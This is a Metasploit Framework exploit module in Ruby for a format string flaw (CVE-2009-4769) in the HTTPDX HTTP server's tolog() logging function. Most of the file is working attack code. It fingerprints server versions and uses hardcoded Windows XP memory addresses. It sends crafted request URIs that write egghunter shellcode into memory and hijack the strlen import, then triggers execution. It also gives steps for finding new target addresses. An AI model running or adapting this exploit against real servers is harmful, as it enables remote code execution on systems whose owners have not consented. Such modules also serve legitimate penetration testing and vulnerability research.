HTTPDX tolog() Function Format String Vulnerability



##

# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Egghunter
    include Msf::Exploit::FormatString

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
            'Description'    => %q{
                    This module exploits a format string vulnerability in HTTPDX HTTP server.
                By sending an specially crafted HTTP request containing format specifiers, an
                attacker can corrupt memory and execute arbitrary code.

                By default logging is off for HTTP, but enabled for the 'moderator' user
                via FTP.
            },
            'Author'         =>
                [
                    'jduck'    # original discovery and metasploit module
                ],
            'Version'        => '$Revision: 10150 $',
            'References'     =>
                [
                    [ 'CVE', '2009-4769' ],
                    [ 'OSVDB', '60182' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    # format string max length
                    'Space'    => 1024,
                    'BadChars' => "\x00\x0a\x0d\x25\x2f\x3f\x5c",
                    'DisableNops'    =>  'True',
                    'StackAdjustment'     => -1500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #
                    # Automatic targeting via fingerprinting
                    #
                    [ 'Automatic Targeting', { 'auto' => true }  ],

                    #
                    # specific targets
                    #
                    [    'httpdx 1.4 - Windows XP SP3 English',
                        {
                            'PadBytes'     => 2,
                            'NumPops'     => 22,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],
                    [    'httpdx 1.4.5 - Windows XP SP3 English',
                        {
                            'PadBytes'     => 2,
                            'NumPops'     => 22,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],
                    [    'httpdx 1.4.6 - Windows XP SP3 English',
                        {
                            'PadBytes'     => 2,
                            'NumPops'     => 22,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],
                    [    'httpdx 1.4.6b - Windows XP SP3 English',
                        {
                            'PadBytes'     => 2,
                            'NumPops'     => 22,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                        ],
                    [    'httpdx 1.5 - Windows XP SP3 English',
                        {
                            'PadBytes'     => 2,
                            'NumPops'     => 22,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],

                    #
                    # Debugging target
                    #
                    [ 'Debug target',
                        {
                            'PadBytes'  => 2,
                            'NumPops'   => 22,
                            'Writable'  => 0xfeedfed5,
                            'FlowHook'  => 0xdeadbeef
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Nov 17 2009'))
=begin

NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
 (preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.

=end
    end


    def check
        version = get_version
        if version
            print_status("HTTPDX version detected : #{version}")
            if (version =~ /1\.4/) or (version == "1.5")
                return Exploit::CheckCode::Vulnerable
            end
        end
        Exploit::CheckCode::Safe
    end


    def exploit

        # an empty host header gives us 512 bytes in the client structure
        # (the client->filereq and client->host buffers are adjacement in memory)
        datastore['VHOST'] = ''

        # Use a copy of the target
        mytarget = target

        if (target['auto'])
            mytarget = nil

            print_status("Automatically detecting the target...")

            version = get_version
            if not version
                raise RuntimeError, "The server doesn't appear to be running a vulnerable version of HTTPDX"
            end

            re = Regexp.new(Regexp.escape(version)+' - ', true)
            self.targets.each do |t|
                if (re.match(t.name))
                    mytarget = t
                    break
                end
            end

            if (not mytarget)
                raise RuntimeError, 'Unable to automatically detect exploitation parameters'
            end

            print_status("Selected Target: #{mytarget.name}")
        else
            print_status("Trying target #{mytarget.name}...")
        end

        # proceed with chosen target...

        # '<ip> [Tue, 17 Nov 2009 18:22:12 GMT] "<GET/POST> /'
        ip_length = Rex::Socket.source_address(datastore['RHOST']).length
        num_start = ip_length + 2 + 29 + 3 + 3 + 2

        # use the egghunter!
        eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

        # write shellcode to 'writable' (all at once)
        fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
        fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
        print_status(" payload format string buffer is #{fmtbuf.length} bytes")

        send_request_raw({ 'uri' => fmtbuf })

        # write 'writable' addr to flowhook (execute shellcode)
        # NOTE: the resulting two writes must be done at the same time
        fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
        # add payload to the end
        fmtbuf << eh_egg
        fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
        print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

        send_request_raw({ 'uri' => fmtbuf })
        disconnect

        # connect again to trigger shellcode
        select(nil, nil, nil, 1.5)
        print_status(" triggering shellcode now")
        print_status("Please be patient, the egg hunter may take a while...")
        connect

        handler
    end


    def get_version
        info = http_fingerprint # Custom version extraction / automatic target
        if info and (info =~ /httpdx\/(.*) \(Win32\)/)
            return $1
        end
        nil
    end

end


=begin

also present in 1.5 (presumably all versions in between)

1.4/httpdx_src/ftp.cpp:

   544      //printf(out);
   545      char af[MAX] = {0};
   546      if(isset(out) && client->serve.log || client->serve.debug)
   547          snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
   548      if(isset(out) && client->serve.log)
   549          tolog(client->serve.accessl,af);
   550      if(isset(out) && client->serve.debug)
   551          printf(af);

1.4/httpdx_src/http.cpp:

   172      char af[MAX] = {0};
   173      if(client.serve.log || client.serve.debug)
   174          snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
   175      if(client.serve.log)
   176          tolog(client.serve.accessl,af);
   177      if(client.serve.debug)
   178          printf(af);

=end